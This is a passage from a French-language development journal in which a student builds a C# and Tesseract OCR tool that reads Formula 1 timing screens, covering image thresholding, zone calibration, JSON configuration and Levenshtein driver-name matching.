beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite ( Bitmap inputBmp ) { const int BLACK_TO_WHITE_TRESHOLD = 200 ; Bitmap result = new Bitmap ( inputBmp . Width , inputBmp . Height ); for ( int y = 0 ; y < inputBmp . Height ; y ++) { for ( int x = 0 ; x < inputBmp . Width ; x ++) { Color pixelColor = inputBmp . GetPixel ( x , y ); if ( pixelColor . R <= BLACK_TO_WHITE_TRESHOLD && pixelColor . G <= BLACK_TO_WHITE_TRESHOLD && pixelColor . B <= BLACK_TO_WHITE_TRESHOLD ) { pixelColor = Color . FromArgb ( 0 , 0 , 0 ); } else { pixelColor = Color . FromArgb ( 255 , 255 , 255 ); } result . SetPixel ( x , y , pixelColor ); } } return result ; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus.","title":"Vendredi 31/03/2023"},{"location":"jdb.html#lundi-3-avril","text":"Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage ; private List < Zone > Zones ; private List < Window > Windows ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Zone ( Image fullImage , Rectangle bounds ) { FullImage = ( Bitmap ) fullImage ; Init ( bounds ); } public Zone ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Init ( bounds ); } private void Init ( Rectangle bounds ) { Bounds = bounds ; Zones = new List < Zone >(); Windows = new List < Window >(); } public void AddZone ( Rectangle bounds ) { if ( Fits ( bounds )) Zones . Add ( new Zone ( ZoneImage , bounds )); } public void AddWindow ( Rectangle bounds ) { if ( Fits ( bounds )) Windows . Add ( new Window ( ZoneImage , bounds )); } private bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace OCR_tester { public class Window { private Bitmap FullImage ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Window ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Bounds = bounds ; } public virtual void RecoverInformations () { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); Zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . tessDataFolder . FullName , \"eng\" , EngineMode . Default ); Image image = ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); Zones . Add ( new Zone ( ZoneImage , windowRectangle )); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning.","title":"Lundi 3 Avril"},{"location":"jdb.html#mardi-4-avril","text":"Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\" :{ \"x\" : 10 , \"y\" : 20 , \"width\" : 1450 , \"height\" : 1340 , \"DriverZone\" :{ \"x\" : 0 , \"y\" : 23 , \"height\" : 25 , \"Windows\" :[ { \"DriverPositionWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 35 } }, { \"DriverPositionChangesWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\" : { \"x\" : 40 , \"y\" : 230 , \"width\" : 1845 , \"height\" : 719 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : 3 , \"width\" : 1845 , \"height\" : 35 , \"Windows\" : [ { \"Position\" : { \"x\" : 2 , \"y\" : 0 , \"width\" : 32 }, \"GapToLeader\" : { \"x\" : 204 , \"y\" : 0 , \"width\" : 96 }, \"LapTime\" : { \"x\" : 413 , \"y\" : 0 , \"width\" : 105 }, \"Drs\" : { \"x\" : 526 , \"y\" : 0 , \"width\" : 81 }, e t c... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\" : { \"x\" : 37 , \"y\" : 238 , \"width\" : 1851 , \"height\" : 713 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -5 , \"width\" : 1851 , \"height\" : 35 } } ] }, \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , e t c... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive.","title":"Mardi 4 Avril"},{"location":"jdb.html#mercredi-5-avril","text":"Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Hamilton\" , \"Alonso\" , \"Russel\" , \"Gasly\" , \"Stroll\" , \"Sainz\" , \"Hulkenberg\" , \"Norris\" , \"Tsunoda\" , \"Piastri\" , \"Zhou\" , \"Ocon\" , \"Magnussen\" , \"Perez\" , \"Sargeant\" , \"De Vries\" , \"Bottas\" , \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Sainz\" , \"Perez\" , \"Hamilton\" , \"Russel\" , \"Magnussen\" , \"Gasly\" , \"Ocon\" , \"Alonso\" , \"Tsunoda\" , \"Bottas\" , \"Zhou\" , \"Albon\" , \"Stroll\" , \"Schumacher\" , \"Hulkenberg\" , \"Norris\" , \"Latifi\" , \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine.","title":"Mercredi 5 Avril"},{"location":"jdb.html#jeudi-6-avril","text":"Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des 